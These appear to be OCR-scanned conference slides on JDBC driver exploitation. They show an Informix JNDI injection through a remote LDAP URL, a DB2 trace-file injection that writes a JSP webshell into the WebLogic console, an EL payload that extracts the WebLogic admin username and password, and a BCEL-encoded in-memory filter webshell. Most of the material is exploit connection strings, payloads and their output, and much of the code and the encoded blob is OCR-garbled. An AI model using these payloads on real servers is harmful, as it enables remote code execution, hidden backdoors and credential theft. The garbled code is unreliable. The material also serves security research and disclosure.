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Abused Connection Resource
Arbitrary Log File Writing
Lexical Syntax Compatibility
Unchecked Initialization Class
Incorrect Response Disposal

JDBC Attack Protection



Abused Connection Resource



Leverage JNDI to Connect JDBC Data Source

JNDI Tree Connection Pool
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IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

SOLH_TYPE=LDAP
_DAP_URL=Idap://host-name:port-number

, JNDI Injection
| DAP_IFXBASE=Informix-base-DN

_DAP_USER=user
_DAP_PASSWD=password




IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

DriverManager.registerDriver com.informix.jdbc.IfxDriver
DriverManager.getConnection("jdbc:informix-

sgli:informixserver=serj;user=user ;password=password;SQLH_TYPE=LDAP;LDAP_URL=1ldap://remote.1p:389/;LDAP_IFXBAS
E=EvilObject"

@ JNDI Injection Remote Code Execution Is Trigged
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IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

1

SearchControls constraints SearchControls() ;
constraints.setSearchScope (LDAP_SCOPEO) ;
String lbase "cn=" SENE o . Ldap_sqghDn;
NamingEnumeration<SearchResult> results .sghctx.search(lbase,
LDAP_FILTER, constraints):

(results results.hasMore()) {

SearchResult si (SearchResult)results.next();

Attributes attrs si.getAttributes();

NamingEnumeration Attribute> ae attrs.getAll();
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IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

NamingEnumeration<SearchResult> search(Name varl, String var2, SearchControls var3)

NamingException {

PartialCompositeDirContext var4 5
Hashtable var5s .p_getEnvironment() ;
Continuation varé6 Continuation(varl, var5);

Name vars8 varl;

NamingEnumeration var7;

{

(var® var4.p_search(var8, var2, var3, var6); var6.isContinue(); var7
var4.p_search(var8, var2, var3, var6)) {
var8 = var6.getRemainingName() ;

var4 = getPCDirContext(vare6) ;
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IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

NamingEnumeration<SearchResult> p_search(Name varl, String var2,

SearchControls var3, Continuation var4) NamingException {
HeadTail var5 .p_resolvelIntermediate(varl, var4);
NamingEnumeration varé X

(var5.getStatus()) {

2
varo6 .c_search(var5.getHead(), var2, var3, var4);
3
3
vare .Cc_search_nns(var5.getHead(), var2, var3, var4);
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IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

HeadTail p_resolvelntermediate(Name varl, Continuation var2) NamingException {
var3 1;

var2.setSuccess();
HeadTail var4 .p_parseComponent(varl, var2);
Name var5s var4d.getTail();
Name varé var4.getHead () ;

(var5 var5.isEmpty()) {

Object var7;

(!var5.get(0).equals("")) {

1
varT .c_resolvelntermediate_nns(var6, var2);
(var7 ) 1

var2.setContinue(var7, vare6, , varbh);

} (var2.isContinue()) {
.checkAndAdjustRemainingName (var2.getRemainingName() ) ;

var2.appendRemainingName (var5s) ;

¥
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IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

Object c_resolvelIntermediate_nns(Name varl, Continuation var2) NamingException {
{
Object var3 .c_Llookup(varl, var2);
(var3 .getClass().isInstance(var3)) {
var2.setContinueNNS(var3, varl, ) ;
3

} (var3 (var3 Context)) {

RefAddr var4 RefAddr ("nns") {

serialVersionUID 8831204798861786362L;

Object getContent() {

var3;

I

Reference var5s Reference("java.lang.0Object", var4);
CompositeName vare6 (CompositeName)varl.clone();
var6.add("") ;

var2.setContinue(var5, varé6, ) ;

)



IBM Informix JDBC Driver Remote Code Execution via JNDI Injection

* Trigger a JNDI lookup
[ search ]

[ p_search ]

[ p_resolvelntermediate ]

[ c_lookup ]

javax.naming.InitialContext#lookup(java.lang.String)

com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)

com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup

com.sun.jndi.ldap.LdapCtx#c_lookup



Arbitrary Log File Writing



IBM DB2 JCC Driver Remote Code Execution via Logger Injection

* traceFile
- With the property, the user can specify the name of a file into which the IBM Data Server Driver for JDBC and SQLJ write trace

information.
e tracelLevel

* traceFileAppend

DriverManager.registerDriver com.ibm.db2.jcc.DB2Driver

DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/test:password=${Runtime.getRuntime() .exec("open -a

calculator")};tracelLevel=-1;traceFileAppend=false;traceFile=shell.jsp;"



IBM DB2 JCC Driver Remote Code Execution via Logger Injection

 Backdoor Webshell in Weblogic Server

JSP Tag

jdbc:db2://127.0.0.1:5001/test:password=<%Runtime.getRuntime() .exec("open —-a calculator")};%>;tracelLevel=-
1l;traceFileAppend=false;traceFile=

=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp;

€ Could not establish a connection because of java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: "Ru"<br/>weblogic.jdbc.common.internal.DataSourceUtil.testConnection0(DataSourceUtil.java:426)
<br/>weblogic.jdbc.common.internal.DataSourceUtil.access$000(DataSourceUtil.java:24) <br/>weblogic.jdbc.common.internal.DataSourceUtil$1.run(DataSourceUtil.java: 288) <br/>java.security.AccessController.doPrivileged(Native Method)
<br/>weblogic.jdbc.common.internal.DataSourceUtil.testConnection(DataSourceUtil.java:285)<br/>com.bea.console. utils.jdbc.JDBCUtils.testConnection(JDBCUtils.java: 928)
<br/>com.bea.console.actions.jdbc.datasources.createjdbcdatasource.CreateJDBCDataSource.testConnectionConfiguration(CreateJDBCDataSource.java:511)<br/>sun.reflect.GeneratedMethodAccessor1084.invoke(Unknown Source)
<br/>sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)<br/>java.lang.reflect.Method.invoke(Method.java:498) <br/>org.apache.beehive.netui.pageflow.FlowController.invokeActionMethod(FlowController.java:870)

<br/>org.apache.beehive.netui.pageflow.FlowController.getActionMethodForward(FlowController.java:809) <br/>org.apache.beehive.netui.pageflow.FlowController.internalExecute(FlowController.java:478)
<br/>org.apache.beehive.netui.pageflow.PageFlowController.internalExecute(PageFlowController.java: 306)<br/>org.apache.beehive.netui.pageflow.FlowController.execute(FlowController.java:336)
<br/>org.apache.beehive.netui.pageflow.internal.FlowControllerAction.execute(FlowControllerAction.java:52) <br/>org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:431)
<br/>org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.access$201(PageFlowRequestProcessor.java:97)<br/>org.apache.beehive.netui.pageflow.PageFlowRequestProcessor$ActionRunner.execute(PageFlowRequestProcessor.java: 2044)
<br/>org.apache.beehive.netui.pageflow.interceptor.action.internal.ActionInterceptors$WrapActionInterceptorChain.continueChain(ActionInterceptors.java:64)<br/>...
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 Backdoor Webshell in Weblogic Server

- Servlet version 2.3 or earlier than 2.3 then EL expression are disabled by default

- Weblogic Server 14c supports the Servlet 4.0

Java Servlet 4.0 (JSR 369)

Oracle WebLogic Server 141.1.0.0 supports the Servlet 4.0 specification (see https://jcp.org/en/jsr/detail?id=369), which introduces

several new features, including support for HTTP/2, server push, HT TP trailer support, and mapping discovery. For more information, see What's New
and Changed in Servlet 4.0 in Developing Web Applications, Servlets, and JSPs for Oracle WebLogic Server.

« Use EL expression to evade the URL decoder exception

[ <%.getRuntime().exec("'open -a calculator")}; %>Runtime ]




IBM DB2 JCC Driver Remote Code Execution via Logger Injection

Backdoor Webshell in Weblogic Server

DriverManager.registerDriver( com.ibm.db2.jcc.DB2Driver()) ;

DriverManager.getConnection("jdbc:db2://127.0.0.1:5001/test:password=${pageContext.setAttribute("classlLoa
der" ,Thread.currentThread() .getContextClassLoader () ) ;pageContext.setAttribute("httpDataTransferHandler", pageC
ontext.getAttribute('"classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHa
ndler'") ) ;pageContext.setAttribute("managementService",
pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService")) ;pageCont
ext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security.
acl.internal.AuthenticatedSubject")) ;pageContext.setAttribute("propertyService'",pageContext.getAttribute('"cla
ssLoader") .loadClass("weblogic.management.provider.PropertyService")) ;pageContext.setAttribute("KERNE_ID",pag
eContext.getAttribute("httpDataTransferHandler'") .getDeclaredField("KERNE_ID") ) ;pageContext.getAttribute ("KERN
E_ID").setAccessible(true) ;pageContext.setAttribute("getPropertyService" ,managementService.getMethod("getProp
ertyService",pageContext.getAttribute("authenticatedSubject"))) ;pageContext.getAttribute("getPropertyService"
) .setAccessible(true) ;pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(n
ull,pageContext.getAttribute("KERNE_ID").get((null)))) ;pageContext.setAttribute("getTimestampl",propertyServi
ce.getMethod("getTimestampl")) ;pageContext.getAttribute("getTimestampl") .setAccessible(true) ;pageContext.setA
ttribute("getTimestamp2",propertyService.getMethod("getTimestamp2")) ;pageContext.getAttribute("getTimestamp2"
) .setAccessible(true) ;pageContext.setAttribute("username",
pageContext.getAttribute("getTimestampl").invoke(pageContext.getAttribute("prop"))) ;pageContext.setAttribute(
"password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop"))) ;pageContext.ge
tAttribute("username'") .concat("/").concat(pageContext.getAttribute("password"))};traceFileAppend=false;tracelL
evel=-1;traceFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/i1mages/shell.jsp;

) ¢
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Backdoor Webshell in Weblogic Server

&« - C @ 127.0.0.1:7001/console/framework/skins/wisconsolef/images/shell.jsp R * ¢ ® & o 01 ¥ © 8§ FE o c » [0 v

user.dir=/Users/pyn3rd/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain, line.separator=\n, java.vm.name=Java HotSpot(TM) 64-Bit Server VM,
javax.management.builder.initial=weblogic.management.jmx.mbeanserver. WLSMBeanServerBuilder, file.encoding=UTF-8, org.omg.CORBA.ORBClass=weblogic.corba.orb.ORB, java.specification.version=1.8, launch.use.env.classpath=true } [ibm][db2]
[jcc] Dumping all file properties: { } [ibm][db2][jcc] END TRACE_DRIVER_CONFIGURATION [ibm][db2][jcc] BEGIN TRACE_CONNECTS [ibm][db2][jcc] Attempting connection to 127.0.0.1:5001/test [ibm][db2][jcc] Using properties: {
traceLevel=-1, traceFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp, user=db2, password=">*#*#dididoipofopodorooooloolooliollollooloollollololoolioliollololotollollollotolotollol ol lotoolollololoootofolololol ot ooroorok
url=jdbc:db2://127.0.0.1:5001/test:password=weblogic/pynerd@ 123 ;traceFileAppend=true;traceLevel=- I ;traceFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/shell.jsp:,
pageContext.setAttribute("httpDataTransferHandler" pageContext.getAttribute("classLoader").loadClass("weblogic.deploy.service .datatransferhandlers. HttpDataTransferHandler"));pageContext.setAttribute("managementService”,
pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider. ManagementService"));pageContext.setAttribute("authenticatedSubject” pageContext.getAttribute("classLoader").loadClass("weblogic.security.acl.internal . AuthenticatedS
pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute("password" pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop"))):pageContext.getAttribute( "username”).co
username=db2 } [ibm][db2][jcc] END TRACE_CONNECTS [ibm][db2][jcc] BEGIN TRACE_DIAGNOSTICS [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: 11" for queue: 'weblogic.kernel.Default (self-tuning)'|[SQLException@35bdb1036]
java.sql.SQLException [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: '11' for queue: 'weblogic.kernel.Default (self-tuning)'|[SQLException@5bdb1036] SQL state = null [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: '11" for queue:
'weblogic.kernel.Default (self-tuning)’][SQLException@5bdb1036] Error code = -99999 [ibm][db2][jcc][Thread:[ ACTIVE] ExecuteThread: '11' for queue: 'weblogic kernel.Default (self-tuning)'|[SQLException@5bdb1036] Message = [ibm][db2][jcc]
[10333][11649] No license was found. An appropriate license file db2jcc_license_*.jar must be provided in the CLASSPATH setting. [ibm][db2][jcc][Thread:[ACTIVE] ExecuteThread: '11' for queue: 'weblogic.kernel.Default (self-tuning)’]
[SQLException@5bdb1036] Stack trace follows com.ibm.db2.jcc.c.SqlException: [ibm][db2][jcc][10333][11649] No license was found. An appropriate license file db2jcc_license_*.jar must be provided in the CLASSPATH setting. at
com.ibm.db2.jcc.c.0.d(0.java:534) at com.ibm.db2 .jcc.c.p.a(p.java:332) at com.ibm.db2.jcc.c.p.(p.java:404) at com.ibm.db2.jcc.b.b.(b.java:256) at com.ibm.db2.jcc.DB2Driver.connect(DB2Driver.java:163) at

weblogic.jdbc.common.internal .DataSourceUtil.testConnectionO(DataSourceUtil.java:373) at weblogic.jdbc.common.internal .DataSourceUtil.access$000(DataSourceUtil.java:24) at

weblogic.jdbc.common.internal .DataSourceUtil$ 1 .run(DataSourceUtil.java:287) at java.security.AccessController.doPrivileged(Native Method) at weblogic.jdbc.common.internal.DataSourceUtil.testConnection(DataSourceUtil .java:284) at
com.bea.console.utils.jdbc JDBCUtils.testConnection(JDBCUtils.java: 1011) at com.bea.console.actions.jdbc.datasources.createjdbcdatasource .CreateJDBCDataSource .testConnectionConfiguration(CreateJDBCDataSource.java:524) at
sun.reflect.GeneratedMethodAccessor803.invoke(Unknown Source) at sun.reflect.DelegatingMethod AccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect. Method.invoke(Method.java:497) at

org.apache.beehive.netui.pageflow. FlowController.invoke ActionMethod(FlowController.java:870) at org.apache.bechive.netui.pageflow.FlowController.getActionMethodForward(FlowController.java:809) at
org.apache.beehive.netui.pageflow.FlowController.internalExecute(FlowController.java:478) at org.apache.bechive.netui.pageflow.PageFlowController.internalExecute(PageFlowController.java:306) at
org.apache.beehive.netui.pageflow.FlowController.execute(FlowController.java:336) at org.apache.bechive.netui.pageflow.internal FlowControllerAction.execute(FlowControllerAction.java:52) at

org.apache struts.action.RequestProcessor.process ActionPerform(RequestProcessor.java:431) at org.apache .bechive.netui.pageflow.PageFlowRequestProcessor.access$20 1 (PageFlowRequestProcessor.java:97) at
org.apache.bechive.netui.pageflow.PageFlowRequestProcessor$ ActionRunner.execute(PageFlowRequestProcessor.java:2044) at

org.apache.bechive .netui.pageflow.interceptor.action.internal . ActionInterceptors$WrapActionInterceptorChain.continueChain(ActionInterceptors.java:64) at
org.apache.beehive.netui.pageflow.interceptor.action.ActionInterceptor.wrapAction(ActionInterceptor.java: 1 84) at

org.apache.bechive.netui.pageflow.interceptor.action.internal . ActionInterceptors$WrapActionInterceptorChain.invoke(ActionInterceptors.java: 50) at

org.apache.bechive .netui.pageflow.interceptor.action.internal . ActionInterceptors$ WrapActionInterceptorChain.continueChain(ActionInterceptors.java: 58) at

org.apache.beehive.netui.pageflow.interceptor.action.internal . ActionInterceptors.wrapAction(ActionInterceptors.java:87) at org.apache.bechive.netui.pageflow.PageFlowRequestProcessor.processActionPerform(PageFlowRequestProcessor.java:2116) at
com.bea.console.internal.ConsolePageFlowRequestProcessor.processActionPerform(ConsolePageFlowRequestProcessor.java:275) at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:237) at
org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processinternal(PageFlowRequestProcessor.java:556) at org.apache.bechive.netui.pageflow.PageFlowRequestProcessor.process(PageFlowRequestProcessor.java:853) at
org.apache.beehive.netui.pageflow. AutoRegisterActionServlet.process(AutoRegisterActionServlet.java:631) at org.apache .beechive.netui.pageflow.PageFlowActionServlet.process(PageFlowActionServlet.java: 158) at

com.bea.console.internal.Console ActionServlet.process(ConsoleActionServlet.java:266) at org.apache.struts.action.ActionServlet.doGet( ActionServlet.java:416) at com.bea.console.internal.Console ActionServlet.doGet(Console ActionServlet.java: 135) at
org.apache.beehive.netui.pageflow.PageFlowUtils strutsLookup(PageFlowUtils.java: 1199) at org.apache.bechive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUltils.java:1129) at
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@ How to Inject an Indiscoverable Memory Webshell into Weblogic Server?



IBM DB2 JCC Driver Remote Code Execution via Logger Injection

[ Acquire Weblogic Server request object with current thread ]

[ Utilize malicious class to implement new filter register ]

[ inject bytecode of malicious class with BCEL ]




BCELTransfer {
main(String[] args) Exception{
JavaClass cls Repository. lookupClass (WeblogicMemFilter. ) ;
String code Utility.encode(cls.getBytes(), ) ;

Class aClass ClasslLoader () .loadClass("$SSBCELSS" +code) ;
System.out.println("$$SBCELS$S" +code) ;
aClass.newInstance() ;

WeblogicMemFilter {
{
String filterName "dynamicFilterl";
String urlPattern "N
String FILTER_CLASS_STRING <STRINGS>;
{
Thread thread Thread.currentThread() ;
Field workEntry
thread.getContextClassLoader () .loadClass("weblogic.work.ExecuteThread") .getDeclaredField("workEntry") ;
workEntry.setAccessible( ) ;

Object workentry workEntry.get(thread) ;

WGblOQlCMemFllter Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");

connectionHandler.setAccessible( ) ;
Object http connectionHandler.get (.

)

Field requestl http.getClass () .getDeclaredField("request");
requestl.setAccessible( ) ;
Object servletRequest requestl.get(http);

Field context servletRequest.getClass() .getDeclaredField("context") ;
context.setAccessible( ) ;

Object webAppServletContext context.get(servletRequest) ;

Field contextField webAppServletContext.getClass() .getDeclaredField("filterManager") ;
contextField.setAccessible( ) ;

Object filterManager contextField.get (webAppServlietContext)



DriverManager.registerDriver( com.ibm.db2.jcc.DB2Driver());

DriverManager.getConnection("
jdbc:db2://127.0.0.1:5001/test:password=${"'"'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$SBCELSSSTS8bSISASASASASASASASadXS$8bSTbS5bSe7YSTTOSYS5b
$b2505c7$b6bS$3bQS9b$abMSb7N$89$j$d7$b28SSc7$b159355e$be$a3$bb$z$5c9$91dS$5dsh3$d0S S S KS8as81$5$9558enf$b0$c1$$5945dbs60Sb0QScom1SbOf$40$c75$d2SBnSe9hWEHSalt1lc05aes7fSIScTSDScT$c28ef$3bGr$7cKS5bsks90
SadsSbhesf3sdeshbesf7$aes$f357e05fd$e85d55d75895e8505TdS$875955yS$T45I$x$7dS$9253e$c5S5_$3Fc$abse75acdS$e25QSTSTdSySc75$tTd$9c$9957e5$deBShbf$605a6_4593w$9853eMSbfdSrsxsfdsh2599s83esc3sefSbfbsas_$a55cfZ$Bsfesi
$fd$g$87$3dosal_s$h75d0se7$z$FA4ShSWSFaMSxSTfdSWSTdSbe$85TS$S8eS$f8S SxS7dS81STSTT$8157e$d7BSVSLS7dSd1BUSLESZz$T45r35Td$9e$9957eSdfL_$b6$9258b3$5e5e038b45b73y$d415d3WsSact$965fes$80_$fesdoOBS7fd$SalsSNSLSbdS$c8S9
55fa$aas$955ks$as33f$e65f05af$995e95b659955e$Sh$e8j$a9R$d259e$UhSe0$ecsb9$a45405sw55af$I4$gSwlUsS94HSb3$9cSSeasebRNSFSc4skSaascas92$9as$94S5easrsfesdcsDS9asb4bsaosnsd0S$5cHSae$965e7$9458eTSae$a9scasdescds
7cN$9e$934M$9275e75$1295d7$5¢cIS$c9$a95d5BIS0Sxe_15d55945TasVS81SySFESSabRsSDScc$81S$9dSNSdd$94725d259cSwUSKsgSads5e$aasusaesocsSdbsSFSd25c95cOrDSe9SItTSXSoR$8d7$e5bX$d1$8a5$d55besSb75psSx55adTSads80pXs$e6$i$8
6$7$f6$83$b2as$h27$955f23$5d$a0sTS$TbSb7$3$€951$9058c$e4$a43$86r$e9%$a2G$915abs$3a$e55¢c9PS$al3YS$995x$975g51259¢c$c85e25de$jSMHSHSsS5dMS$81$jG$ae$8b$Q$5d$d65d55RS$e8$8155dSa2sebscas86$aasc8sdas9csalswXsGdukKsan
$f1C$8c$9cSdasebsesnsadsefs$e9s$895TdScawWsa7s9fSe4z$c6$b9$9bSCc3RMStSd35$d35e15ebHE3S$TAd$8959exS$9TSRS$C85base3$9a$865995Fesd4LSTIf$abm3sSbdSM7S$c5KS$85$8a$a45$ebs90$7e$T6$bd$c4$c0$d8Sd1Vsaasb4saasoblsh8gse
$e55$dd$9cks$h959bsh0s$T3Scas3bschseasR$cl1sL$d55dcScdSbdSRSdaAYSNTFS$a42$945hDS$3csbh7$e0$_ScbUYSed$Se55aalSscasXsbf$alse7$d358q$9bRSafsISqlsIsed85c45T1$bes$925a2r$hf$9bScbR$adsSGS7dSm$absyi$c8$j$IBS86Seals
a35a9j$e0$$5e1ShSES40$x$d6SVSVShbTWSb5usj$ce$b3sabs5dsadozsxZsbdsdbs5bsxsc6z$5c$aeVswsd8SMs$8eS0HS955bcScash35c6TS$d44$ec$60$a9$x5cf6$95$8665_$d0Sh1$86R0Sa958asW3SmPSI1$9asd2Scljsa2sadsedXsadswrsIsdes
7d$b0$adG$ans$dbsb0crX$aaHSFSbes$c5D$5dSv$945$g$808Y$a55d55PSchb$d4Skscf$845405d15e351$3F$805QhS$d2$b0$b3$a9$955d49VSatK$5d$0$e6Q0hs$8dSuXS$9buusc7$d1sc7$7d$cl1$d0sSba7$f6$8cs$3bsc45e25f1gse25ebsb1$60S5c40$a6
WScc$f4$e7$e8zh$3th$$5e0588WS9buYS$S81b$60$91$3a$dOSFSkSe7$9bsdase85$CS5dSESa7$8ds5e$a50$d8%e8%_$e855905k$5ej62z59dSbei$a3ezC$afsb1$fdospsdOsdisbesb2$81$9e$d5kswsa3sfbr$d7Ls7fi$a30Q5dOFSdf$acsbf$Sse8se
1w$e9$06$fakz$DEd$a3$3bsf45a658d$fes865fe$Sd6Fosd1$dfsdose8msces7dSySdf$adHSe559215d8581$a85k$9959bSWSacs_vS5b$973$$$b55KS$8c10$94I%acscasSbemsb6sSmsb65d9Sr7cS$8bSee6s3083bSc0$3eNS7cS$_$G$99$e7r$90yS$dosSwe
$ISWS8dVS$995YSVSddsees825e8asdese8swsf3$sX$acPesd1Sh6SYpSbTESAOMS8235$5¢3%$€24$805¢c55dbbsYS$ShbOSIST355eSM0$ef$e55A$T3187c$bdSos$f0$975a58d4BSzSefSh9$88usSh8sbhas9asccSedskst3$e4$5¢c1$95ESd9Sb5usbfsdasccsssw
$e6s$a95VUVcSc5L$b9$c3%elsflusff$d2scdlL$aas935casadWjs$995d4IspsobsdesSclysf3$febMn$7bYh$b3sd3Scc$assal3dsadsscswsas$c9$aes$a2$9as$t35b7$5bsb9$125d2VseeBShb259bqsrZ$dosh2$dasc85fbs935dd$dos$85$985w_$885b6$S
92$fe$e4Vsdesobsadse55Cx$besdoSe0z$d4resd55335995hsabsdescesb3$99t$b65a83b85975b6Sb25e9SVIWSces9ft$8659¢c53dSdascdsIsedfksdosadFszYsST02$8FS$7FS1Si1SbasSESdeShsSbfSc8D1592MSc73%aash0$3TSKSdbs8asdosddsIsfasz
$e85Q5ccs$fas97$fcR$aas83%5e75a05c857c$8dSeashbasbhfVscc$o7$7dSXCSXS$0$aa$5¢c$c965b85adSsIWSb259bs87351$1253e$F85%x$9dSedvszSbesx$SddSFSb1$955abDsd455e7$3bseaXscd$ads$d4se6ZWMgslgsfds3egssSeael $d55dex$Wesqs85
S$b7$c7$1ru$8asb9s$hb2SdcISEVZSZWrKSe6vSb1HSpS9bSe215T65ads8057eMS$3e3$a8st1_S$IKe$9fSx$93$S$b4vsfOSeesasst55bess589rSh259305nFSkssSefs9es$8e$8005c95fesas3$a65ecIs405¢c65d28bbsco$e85d35$BS8fPS3TSHSa2S5aebQse
2$fas$89Sdaasfcs3dshfsatxsqgsbf$afs965$d3s$psd25cdS$Sass91sbfseestcast45$d557csSmsSd6$0958bSces7c$405bes8fSTfest3SebyShbfSef$acseds$9csS_Scas3eSpwy$ScdAS$a7$d5XSbax3$9bSWS9dRSKzSb6e$965us$e0s$8bs$i$5$5d$3c0csddsdces
85MST0Sd75d658dS3cNrsddsSf4725d9s$93SbfSasSFS3dSWSkSc6592LDMSbO$93SHeSebse2sfasb1Vs3cSQsScasbhbes7ens$c4$e25d95b4053e59b$8eSTOShbeST7dS5¢cST359bSkssS$sS$98S8FfSTbShexxS7c$9dSxS$ST35d0aSScTKQSdcKSDS7dQsSdfsSVSc8ZS
J$b9VjSbh95d2R$Vv$9358e35a0I0wSusVS$0s$d1$cO9BS9bSr$dbPSb25zf$b1$97$845dcFohs$875995¢cf$c9Sd2SCcOESKSYSFSAeSGpSFSe65T75ea$3c$2$18593d3nsh3SySTSel17Sb1SMS3bs8bsces_$c3scesffCSscdSsa3vsSbdz$sadx$5b9sbfsafsoosedss
$5d$cb$e0S$cd0sa3s5e7fSecstesSb55c1$f955c$G$9T$945basdcs$8asts$9657c$8as1s$fesSM$ans7ISh8xNSz$i1$5e4359dsdf$T1$f7$5eZ2$d6$a95AShb6SabsT6SelSwsacWseb$3bz$adse7$DSTOeY$5e$5eMtS0ST5S$F7Sgsf25cE5Wswse6SeesSchsa7s$f7yYs
d8SeeS$f7ust3$a8$5d_$bcPS$SdbGSh$955chK$c85c3$c8SWS97$e5M$)$8e5$e35b559cusr$9dsf1$d4BS3bs91$8eqsf9j$s$e5$845cdr$f559enjsx$edTS9br$AS5SASTdShb2SvS9fsacschbsdesSedsh3sfdSsfecl$a7$dbs$84$7c$Sdf$Saalssafsss$905f3S5e2
STcS3bSTISRYShi$e7$5cSLS5bYST4Srwsws81$des925efJisps3eshbesees3dsthsf857e$75ee$87I5y$z$a35bfSc3S$c7SbeSXSEST8S3e$T15c45a65desc3wsebshb6$81$965Tbseds825bes8erSbfsvs8dsfas8 s _525f053bsf4qsCsd7SecSTISWST
8SSHS7bolS7fScfST1sb2sffsffs5es5cesfbsShb4shvsUsd8$3ase35fT1es$fesTSe55fSbhes1S$fO$7bS$9aCsc2mSsrs3cs3eshesds5SbasceXN_Sbby$ag9s$el1$835dfSefSmSbf$SHI$835$3bs8arse35at$J3s8cs$f35e0S5c2_$X$c4$865bedhs5e$815u$e7$93$
fo$f3Sbc$Sbe$9dss$c25df$e9$adl3$3aa$clse0$855M$5d$965afSASkCSb55besy$c65F55I5USd8SGSbfSebsbb35des7bsssgs$fbsc0$a6$60$BSecsfasl3e$desYcsb2sn$c0$7f$b95des865deks$85hVsSUS83$9e$s$7e$a3X$cl1$e3g$3e935GS$a6S$chn0
$d55d713_swSw$zasebSy$ebSESDS89STIMSafSh7PS5cOESTSbbx$c4usadScdVsb4sCs5b$5d$xdsb2bs3d$835965b25e9$c3s8RS$905F5g05bcSbbscOSYSe28Wj$ansfblf$sc5h8svsS$Scasccsh3$98asdesoowWss5bsedsSCS_z$3dSy$ed5L587c$fIsysSc
3$bb$Vs$3e$d7$f8$3bSROQSAO0S3TSdeesTONS85WSS1$c4$7$9a$e05fdSdas8fvs5bsQSchs9cs_WSeds$zn$93$9bskse7NST4GS$T1$05e5505b335VSh8$8esf35adsh4$99358asfeSARScesdf$e0scfUseesTSdOSh7$98Xesfesh65e15d1$5¢c$9bs$d5598$
bb$aa$a7$A$7cSc5VsdbSacascasSWtnStSLgS9TBS_SvScaZshdSAwS8cDS60$e2$i$TSchbS$Ios97yS$c25basar79_$84$c75d858855¢$840S$dos3cYST855e$908a55¢c75$5¢9$935e15b1SVSThbSTIPSef$arsdfsfdst2snscosf65e6SWSdbs9dsS5bsksSdoPsSch
SxB$aOS$HSdbSbhdsSX$f25c7$f95Q5T35b8Sb7$a3$c8MM1S$c6S$15M$9165Tas$0$5dsb15d1SdfSd3wsT1R0$a35efs$d1$T71$absd4S$TbSSchSb1S$bdSS$c7$9es$Xrc$e45$c3$8cpsfdshb0sdos7bse45desal8s815e958bShbfScecsa7$71$ansls$805fes905nSc4
FSTFHSffScawsTfSn$c65c5259fS$d6SGST55c1ScdFSTTLS3TSb0Sd1SbfsdOsSbfsdase8sdf$e8sdf$fbsccsfavs3bs _$1$CScdsSfesafs8esrosIsjz$is805e95ff$7e$b387c$71$e3RUSSSb8SbEkSe35995835MAS8cScdSh25c4$d1SebRSbdSadhshbb
$a83815b9GS$jTUSa5$m$a9L$96$95F$e3$3e50$95$865sUSb4$9255k$XS$c98d88TealsansTST7$ZS855RS$GShIYSatcr$edSNS9cS3dwsd85b0S$3bYS$d8599DST785¢c4qsf6$c0$e95c0$cesd1$895z%afScfkbsc$83$93NSjvsSb4sc0$8TI$8e$1594SBSee
$f15dd$867$8a$3e$e3$9a$d635d7$bc$40AS$Z5cc$825aaTWSF287dST7$31$7d$8851T45ebSHSCc4$9e$7b$a7$c3$985R$8858d7kIS5d6F$Cc7$91$86%a25Z28Fe$_$Zg$5cgsh351c$605cc$dc$925d45a65b238b65c152z5KSeeSWSd8SS$93$9TSxSZGSpsSCsS
z$jrsursfdsm$e85d0S$91a$a8$d3sb7ns9851TST555$dash1$5dsd6S$f7$82835fbs$$$a765$fbs8F$3FSGSMBSansPS$i$a25dc$als9as$98Ansccsfes7hsh3c$a7$96M$8dS$d2596%$a251515G$915wS7bSbdsh25ps$c55a2Usfbsj$cl1$c2$8f25a4RS$FSA6S3
c$b8$5b$IwQ$aasc7yk$a9$c85cas95sYHIPES3Tx6518$9e4$a535e4505L$T1$8FS$89SEST7e$a03$805eb$C$9e5e6psXpsls9cs7e$99$845975b08BS97pSjs$d2s815psh4$885abscdSm$anscbsb4$84$fb00G4$c0$99$8553¢c$e85cc$80$7dsT25Vs3as
b2M$D$al10$90SvST325N$865cf00$d3PDX6$cd1$93yy$d0azs$93sWSj$83vsch$975c9$898dbsfOSdOkdScdSMSd8$8F$c63$a65at$935259e5$25e43d7mSgY65ddSbastbhsc3$e55n$c75e06$8d$S$PSdesbastbhs965c3t$87$a6$j$s$d36$8d9L35605b
